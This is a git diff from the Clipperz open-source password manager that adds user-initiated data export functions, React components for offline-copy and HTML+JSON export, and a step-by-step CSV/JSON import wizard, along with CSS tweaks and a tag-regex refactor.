#extraFeaturesPanel .extraFeatureContent .jsonPreview {
|
||||
min-height: 400px;
|
||||
display: block;
|
||||
margin: 1em 0;
|
||||
border: 0; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .csvTable {
|
||||
background: white;
|
||||
margin: 1em 0; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .dropArea {
|
||||
margin: 1em 0;
|
||||
width: calc(100% - 6px);
|
||||
text-align: center;
|
||||
height: inherit;
|
||||
line-height: 3em;
|
||||
border: 3px dashed white;
|
||||
background: black; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .button {
|
||||
margin-right: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview {
|
||||
width: 100%;
|
||||
height: 80%;
|
||||
overflow: auto;
|
||||
margin-top: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .jsonPreview h3 {
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview h3 {
|
||||
font-weight: bold; }
|
||||
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul {
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul {
|
||||
margin-bottom: 1em;
|
||||
padding-left: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label {
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul li .label {
|
||||
font-weight: bold; }
|
||||
#extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg {
|
||||
visibility: hidden; }
|
||||
#extraFeaturesPanel .extraFeatureContent form input:focus {
|
||||
border: 2px solid #ff9900; }
|
||||
#extraFeaturesPanel .extraFeatureContent form input.valid:focus {
|
||||
border: 2px solid #1863a1; }
|
||||
#extraFeaturesPanel .extraFeatureContent form input.invalid + .invalidMsg {
|
||||
visibility: visible; }
|
||||
#extraFeaturesPanel .extraFeatureContent form .invalidMsg::before {
|
||||
font-family: serif;
|
||||
content: "\26A0 \0000a0"; }
|
||||
|
||||
.mainPage.narrow #extraFeaturesPanel .extraFeatureContent header {
|
||||
display: block;
|
||||
@ -2191,7 +2335,7 @@ div.cardList ul {
|
||||
padding-right: 8px; }
|
||||
|
||||
div.cardList.narrow {
|
||||
overflow: scroll;
|
||||
overflow: auto;
|
||||
-webkit-overflow-scrolling: touch; }
|
||||
div.cardList.narrow.loadingCard li.selected:after {
|
||||
color: white;
|
||||
@ -2598,12 +2742,16 @@ div.dialog {
|
||||
-webkit-border-radius: 8px;
|
||||
-moz-border-radius: 8px;
|
||||
border-radius: 8px;
|
||||
max-width: 70%;
|
||||
background-color: white;
|
||||
padding: 30px; }
|
||||
padding: 30px;
|
||||
box-shadow: 4px 4px 6px 5px rgba(0, 0, 0, 0.3); }
|
||||
div.dialog h3.message {
|
||||
font-size: 18pt;
|
||||
font-weight: bold;
|
||||
padding-bottom: 20px; }
|
||||
padding-bottom: 20px;
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word; }
|
||||
div.dialog div.answers div.button {
|
||||
-webkit-border-radius: 4;
|
||||
-moz-border-radius: 4;
|
||||
|
File diff suppressed because one or more lines are too long
6
frontend/delta/fonts/icons/logo.svg
Normal file
6
frontend/delta/fonts/icons/logo.svg
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" clip-rule="evenodd" stroke-miterlimit="10" viewBox="440.19 329.29 76.14 72.20">
|
||||
<desc>SVG generated by Lineform</desc>
|
||||
<defs/>
|
||||
<path d="M 487.26 353.66 L 487.26 329.79 L 468.36 329.79 L 468.36 353.66 L 447.21 345.11 L 440.83 363.30 L 462.69 370.67 L 448.72 389.20 L 464.55 400.78 L 477.58 381.06 L 491.92 400.78 L 507.51 389.20 L 493.17 370.67 L 515.69 363.12 L 509.31 344.93 Z M 526.25 492.82 " fill-rule="non-zero" fill="#000000" stroke="#000000" stroke-width="0.25"/>
|
||||
</svg>
|
After Width: | Height: | Size: 627 B |
@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a';
|
||||
</div>
|
||||
<span class="icon done" style="display:none">done</span>
|
||||
<span class="icon failed" style="display:none">failed</span>
|
||||
<span class="progressBar" style="display:none"><span class="progress"></span></span>
|
||||
<span class="title">loading</span>
|
||||
<div class="mask hidden"></div>
|
||||
</div>
|
||||
|
@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, {
|
||||
|
||||
'serializedData': function () {
|
||||
return Clipperz.Async.collectResults("DirectLogin.serializedData", {
|
||||
'favicon': MochiKit.Base.method(this,'favicon'),
|
||||
'label': MochiKit.Base.method(this,'label'),
|
||||
'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
|
||||
'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
|
||||
'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),
|
||||
|
@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges");
|
||||
* /
|
||||
},
|
||||
*/
|
||||
|
||||
//=========================================================================
|
||||
|
||||
// TODO: this function may mix up the order of the fields
|
||||
'exportFields': function() {
|
||||
var deferredResult;
|
||||
var fields;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false});
|
||||
deferredResult.addMethod(this,'fields');
|
||||
deferredResult.addCallback(MochiKit.Base.values);
|
||||
deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) {
|
||||
return fieldIn.content();
|
||||
});
|
||||
deferredResult.addCallback(Clipperz.Async.collectAll);
|
||||
deferredResult.addCallback(function(listIn) {
|
||||
// return listIn.reduce(function(result, field) {
|
||||
return MochiKit.Iter.reduce(function(result, field) {
|
||||
var ref = field.reference;
|
||||
result[ref] = field;
|
||||
delete result[ref].reference;
|
||||
return result;
|
||||
}, listIn, {});
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
|
@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) {
|
||||
this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null;
|
||||
|
||||
this._tags = [];
|
||||
|
||||
this._directLogins = {};
|
||||
|
||||
this._versions = {};
|
||||
|
||||
this._currentRecordVersion = null;
|
||||
@ -163,16 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
|
||||
|
||||
//............................................................................
|
||||
|
||||
'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
|
||||
'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
|
||||
'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); },
|
||||
'extractLabelFromFullLabel': function (aValue) {
|
||||
return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue);
|
||||
},
|
||||
|
||||
'extractTagsFromFullLabel': function (aLabel) {
|
||||
return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel);
|
||||
},
|
||||
|
||||
//............................................................................
|
||||
|
||||
'label': function () {
|
||||
return Clipperz.Async.callbacks("Record.label", [
|
||||
MochiKit.Base.method(this, 'fullLabel'),
|
||||
MochiKit.Base.method(this, 'filterOutTags')
|
||||
MochiKit.Base.method(this, 'extractLabelFromFullLabel')
|
||||
], {trace:false});
|
||||
},
|
||||
|
||||
@ -193,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
|
||||
|
||||
//.........................................................................
|
||||
|
||||
'extractTagsFromFullLabel': function (aLabel) {
|
||||
var tagRegEx;
|
||||
var result;
|
||||
var match;
|
||||
|
||||
result = {};
|
||||
tagRegEx = this.tagRegExp();
|
||||
match = tagRegEx.exec(aLabel);
|
||||
while (match != null) {
|
||||
result[match[1]] = true;
|
||||
match = tagRegEx.exec(aLabel);
|
||||
}
|
||||
|
||||
return result;
|
||||
},
|
||||
|
||||
'tags': function () {
|
||||
return Clipperz.Async.callbacks("Record.label", [
|
||||
MochiKit.Base.method(this, 'fullLabel'),
|
||||
@ -1163,6 +1149,64 @@ console.log("Record.hasPendingChanges RESULT", result);
|
||||
], {trace:false});
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
'exportDirectLogins': function() {
|
||||
var result;
|
||||
var directLoginsObject = this.directLogins();
|
||||
|
||||
if (MochiKit.Base.keys(directLoginsObject).length == 0) {
|
||||
result = {};
|
||||
} else {
|
||||
var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) {
|
||||
previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' );
|
||||
return previous;
|
||||
}, {});
|
||||
|
||||
result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})();
|
||||
}
|
||||
|
||||
return result;
|
||||
},
|
||||
|
||||
'export': function() {
|
||||
var deferredResult;
|
||||
var label;
|
||||
var data;
|
||||
var currentVersion;
|
||||
var directLogins;
|
||||
var currentVersionObject;
|
||||
|
||||
data = {};
|
||||
currentVersion = {};
|
||||
directLogins = {};
|
||||
deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false});
|
||||
deferredResult.addMethod(this, 'getCurrentRecordVersion');
|
||||
deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; })
|
||||
deferredResult.addMethod(this, 'fullLabel');
|
||||
deferredResult.addMethod(this, function(labelIn) {label = labelIn});
|
||||
deferredResult.addMethod(this, 'exportDirectLogins');
|
||||
deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; });
|
||||
deferredResult.addCallback(function() { return currentVersionObject.getKey(); }),
|
||||
// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; });
|
||||
deferredResult.addMethod(this, 'notes');
|
||||
deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; });
|
||||
// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); });
|
||||
deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }),
|
||||
deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; });
|
||||
deferredResult.addMethod(this, function() {
|
||||
return {
|
||||
'label': label,
|
||||
'data': data,
|
||||
'currentVersion': currentVersion
|
||||
};
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
@ -1203,20 +1247,33 @@ Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
|
||||
return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
|
||||
};
|
||||
|
||||
Clipperz.PM.DataModel.Record.tagRegExp = function () {
|
||||
return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
|
||||
};
|
||||
|
||||
Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () {
|
||||
return new RegExp('^\\s+|\\s+$', 'g');
|
||||
};
|
||||
|
||||
Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) {
|
||||
Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
|
||||
Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g');
|
||||
|
||||
Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) {
|
||||
var value;
|
||||
|
||||
value = aValue;
|
||||
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), '');
|
||||
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), '');
|
||||
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, '');
|
||||
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, '');
|
||||
|
||||
return value;
|
||||
};
|
||||
|
||||
Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) {
|
||||
var tagRegEx;
|
||||
var result;
|
||||
var match;
|
||||
|
||||
result = {};
|
||||
tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp;
|
||||
match = tagRegEx.exec(aLabel);
|
||||
while (match != null) {
|
||||
result[match[1]] = true;
|
||||
match = tagRegEx.exec(aLabel);
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
|
@ -244,11 +244,7 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.User, Object, {
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
// TODO: test (taken straight from /beta)
|
||||
'deleteAccount': function() {
|
||||
|
||||
console.log("deleting account from user");
|
||||
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true});
|
||||
@ -257,15 +253,9 @@ console.log("deleting account from user");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
|
||||
|
||||
},
|
||||
|
||||
// TODO: check (I have half of an idea what i'm doing)
|
||||
'resetAllLocalData': function() {
|
||||
|
||||
console.log("resetting all local data...");
|
||||
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true});
|
||||
|
@ -0,0 +1,110 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2015 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz, the online password manager.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com.
|
||||
|
||||
* Clipperz is free software: you can redistribute it and/or modify it
|
||||
under the terms of the GNU Affero General Public License as published
|
||||
by the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
* Clipperz is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||
|
||||
*/
|
||||
|
||||
"use strict";
|
||||
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
|
||||
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({
|
||||
|
||||
propTypes: {
|
||||
// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
|
||||
// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
|
||||
},
|
||||
/*
|
||||
jsonExport: function () {
|
||||
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json');
|
||||
},
|
||||
|
||||
htmlExport: function () {
|
||||
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html');
|
||||
},
|
||||
*/
|
||||
|
||||
isFeatureEnabled: function (aValue) {
|
||||
return (this.props['features'].indexOf(aValue) > -1);
|
||||
},
|
||||
|
||||
handleDownloadOfflineCopyLink: function (anEvent) {
|
||||
if (this.isFeatureEnabled('OFFLINE_COPY')) {
|
||||
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy');
|
||||
}
|
||||
},
|
||||
|
||||
handleExportLink: function () {
|
||||
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport');
|
||||
},
|
||||
|
||||
|
||||
//=========================================================================
|
||||
|
||||
render: function () {
|
||||
return React.DOM.div({className:'extraFeature devicePIN'}, [
|
||||
React.DOM.h1({}, "Export"),
|
||||
React.DOM.div({'className': 'content'}, [
|
||||
React.DOM.ul({}, [
|
||||
React.DOM.li({}, [
|
||||
React.DOM.h3({}, "Offline copy"),
|
||||
React.DOM.div({'className':'description'}, [
|
||||
React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."),
|
||||
React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."),
|
||||
React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.")
|
||||
]),
|
||||
React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy")
|
||||
]),
|
||||
React.DOM.li({}, [
|
||||
React.DOM.h3({}, "HTML + JSON"),
|
||||
React.DOM.div({'className':'description'}, [
|
||||
React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."),
|
||||
React.DOM.p({}, "This same file also contains all your data in JSON format."),
|
||||
React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.")
|
||||
]),
|
||||
React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON")
|
||||
]),
|
||||
/*
|
||||
React.DOM.li({}, [
|
||||
React.DOM.h3({}, "Printing"),
|
||||
React.DOM.div({'className':'description'}, [
|
||||
React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."),
|
||||
React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.")
|
||||
]),
|
||||
React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML")
|
||||
]),
|
||||
React.DOM.li({}, [
|
||||
React.DOM.h3({}, "Exporting to JSON"),
|
||||
React.DOM.div({'className':'description'}, [
|
||||
React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."),
|
||||
React.DOM.p({}, "This custom format it’s quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."),
|
||||
React.DOM.p({}, "Click on the button below to start the export process.")
|
||||
]),
|
||||
React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"),
|
||||
])
|
||||
*/
|
||||
])
|
||||
])
|
||||
]);
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
});
|
||||
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass);
|
@ -0,0 +1,172 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2015 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz, the online password manager.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com.
|
||||
|
||||
* Clipperz is free software: you can redistribute it and/or modify it
|
||||
under the terms of the GNU Affero General Public License as published
|
||||
by the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
* Clipperz is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||
|
||||
*/
|
||||
|
||||
"use strict";
|
||||
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
|
||||
|
||||
var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview'];
|
||||
var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview'];
|
||||
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
|
||||
_steps: _steps,
|
||||
_stepNames: _stepNames,
|
||||
_relevantSteps: {
|
||||
'csv': _steps,
|
||||
'json': [_steps[0], _steps[6]]
|
||||
},
|
||||
|
||||
getInitialState: function() {
|
||||
return {
|
||||
'currentStep': this._steps[0],
|
||||
'importContext': new Clipperz.PM.UI.ImportContext(),
|
||||
'nextStepCallback': null,
|
||||
'error': null
|
||||
};
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
getStepIndex: function(aStep) {
|
||||
return this._steps.indexOf(aStep);
|
||||
},
|
||||
|
||||
getStepAfter: function() {
|
||||
return this._steps[this.getStepIndex(this.state.currentStep) + 1];
|
||||
},
|
||||
|
||||
getStepBefore: function() {
|
||||
return this._steps[this.getStepIndex(this.state.currentStep) - 1];
|
||||
},
|
||||
|
||||
isStepRelevant: function(aStep, aFormat) {
|
||||
if (!aFormat) {
|
||||
return true
|
||||
} else {
|
||||
return (this._relevantSteps[aFormat].indexOf(aStep) >= 0);
|
||||
}
|
||||
},
|
||||
|
||||
//--------------------------------------------------------------------------
|
||||
|
||||
goToStep: function(aStep) {
|
||||
this.setState({
|
||||
'currentStep': aStep,
|
||||
'nextStepCallback': null,
|
||||
'error': null
|
||||
});
|
||||
},
|
||||
|
||||
handleNextStepOnClick: function() {
|
||||
if (this.state.nextStepCallback) {
|
||||
var newImportContext = this.state.nextStepCallback();
|
||||
|
||||
if (newImportContext) {
|
||||
MochiKit.Base.update(this.state.importContext, newImportContext);
|
||||
|
||||
if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') {
|
||||
this.goToStep('Preview');
|
||||
} else if (this.state.currentStep == 'Preview') {
|
||||
this.state.importContext.resetContext();
|
||||
this.goToStep('Input');
|
||||
} else {
|
||||
this.goToStep(this.getStepAfter());
|
||||
}
|
||||
} else {
|
||||
if (this.state.currentStep == "Input") {
|
||||
this.setState({'error': "unrecognized input format."});
|
||||
} else {
|
||||
this.setState({'error': "unknown error."});
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
handleBackOnClick: function() {
|
||||
if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') {
|
||||
delete this.state.importContext.format;
|
||||
this.goToStep('Input');
|
||||
} else if (this.state.currentStep != this._steps[0]) {
|
||||
this.goToStep(this.getStepBefore());
|
||||
}
|
||||
},
|
||||
|
||||
setNextStepCallback: function(aFunction) {
|
||||
this.setState({'nextStepCallback': aFunction});
|
||||
},
|
||||
|
||||
getStepNavbarClass: function(aStep) {
|
||||
var result;
|
||||
|
||||
if (aStep == this.state.currentStep) {
|
||||
result = 'active';
|
||||
} else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) {
|
||||
result = 'disabled';
|
||||
} else {
|
||||
result = 'inactive';
|
||||
}
|
||||
|
||||
return result;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
render: function () {
|
||||
return React.DOM.div({className:'extraFeature dataImport'}, [
|
||||
React.DOM.h1({}, "Import"),
|
||||
React.DOM.div({'className': 'content'}, [
|
||||
React.DOM.ul({'className': 'stepNavbar'},
|
||||
MochiKit.Base.map(MochiKit.Base.bind(function(aStep){
|
||||
var className;
|
||||
|
||||
if (this.isStepRelevant(aStep,this.state.importContext.format)) {
|
||||
className = (aStep == this.state.currentStep) ? 'active' : 'inactive';
|
||||
} else {
|
||||
className = 'disabled';
|
||||
}
|
||||
|
||||
return React.DOM.li({
|
||||
'className': className
|
||||
}, this._stepNames[this.getStepIndex(aStep)]);
|
||||
}, this),this._steps)
|
||||
),
|
||||
new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({
|
||||
'importContext': this.state.importContext,
|
||||
'setNextStepCallback': this.setNextStepCallback,
|
||||
}),
|
||||
React.DOM.a({
|
||||
'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''),
|
||||
'onClick': this.handleBackOnClick,
|
||||
}, "Back"),
|
||||
React.DOM.a({
|
||||
'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''),
|
||||
'onClick': this.handleNextStepOnClick,
|
||||
}, "Next"),
|
||||
(this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null
|
||||
])
|
||||
]);
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
});
|
||||
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);
|
@ -26,26 +26,44 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
|
||||
|
||||
toggleColumn: function(columnN) {
|
||||
var newState;
|
||||
getInitialState: function() {
|
||||
return {
|
||||
'selectedColumns': this.props.importContext.selectedColumns
|
||||
};
|
||||
},
|
||||
|
||||
newState = {'importData': this.props.importState.importData};
|
||||
newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN];
|
||||
componentDidMount() {
|
||||
this.props.setNextStepCallback(this.handleNextStep);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
handleNextStep: function() {
|
||||
return this.state;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
toggleColumn: function(columnN) {
|
||||
var newSelectedColumns;
|
||||
|
||||
newSelectedColumns = this.state.selectedColumns;
|
||||
newSelectedColumns[columnN] = ! newSelectedColumns[columnN];
|
||||
|
||||
this.props.setImportStateCallback(newState);
|
||||
this.setState({'selectedColumns': newSelectedColumns});
|
||||
},
|
||||
|
||||
render: function() {
|
||||
|
||||
//console.log(this.props.importContext);
|
||||
var columnSelectors;
|
||||
var rowCount;
|
||||
var i;
|
||||
|
||||
columnSelectors = [];
|
||||
for (i=0; i<this.props.importState.importData.nColumns; i++) {
|
||||
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-'+i}, React.DOM.input({
|
||||
for (i=0; i<this.props.importContext.nColumns; i++) {
|
||||
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
|
||||
'type': 'checkbox',
|
||||
'checked': this.props.importState.importData.selectedColumns[i],
|
||||
'checked': this.state.selectedColumns[i],
|
||||
'onChange': MochiKit.Base.partial(this.toggleColumn,i)
|
||||
}) ) );
|
||||
}
|
||||
@ -53,16 +71,8 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
|
||||
rowCount = 0;
|
||||
|
||||
return React.DOM.div({},[
|
||||
React.DOM.h2({},"Columns"),
|
||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
|
||||
'format': 'csv',
|
||||
'stepId': 'csv-columns',
|
||||
'prevStep': 'input',
|
||||
'nextStep': 'csv-labels',
|
||||
'goToStepCallback': this.props.goToStepCallback,
|
||||
}),
|
||||
React.DOM.p({}, "Select the columns you want to import."),
|
||||
React.DOM.table({'style': {'background': 'white'}},[
|
||||
React.DOM.table({'className': 'csvTable'},[
|
||||
React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
|
||||
React.DOM.tbody({},
|
||||
MochiKit.Base.map(function(row){
|
||||
@ -70,13 +80,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
|
||||
var result
|
||||
|
||||
cellCount = 0;
|
||||
result = React.DOM.tr({'key': 'csv-row-'+(rowCount++)}, MochiKit.Base.map(function(cell) {
|
||||
return React.DOM.td({'key': 'csv-cell-'+rowCount+'-'+(cellCount++)},cell);
|
||||
result = React.DOM.tr({'key': 'csv-row-' + (rowCount++)}, MochiKit.Base.map(function(cell) {
|
||||
return React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount++)},cell);
|
||||
}, row));
|
||||
rowCount++;
|
||||
|
||||
return result;
|
||||
}, this.props.importState.importData.parsedCSV)
|
||||
}, this.props.importContext.parsedCsv)
|
||||
),
|
||||
])
|
||||
]);
|
||||
|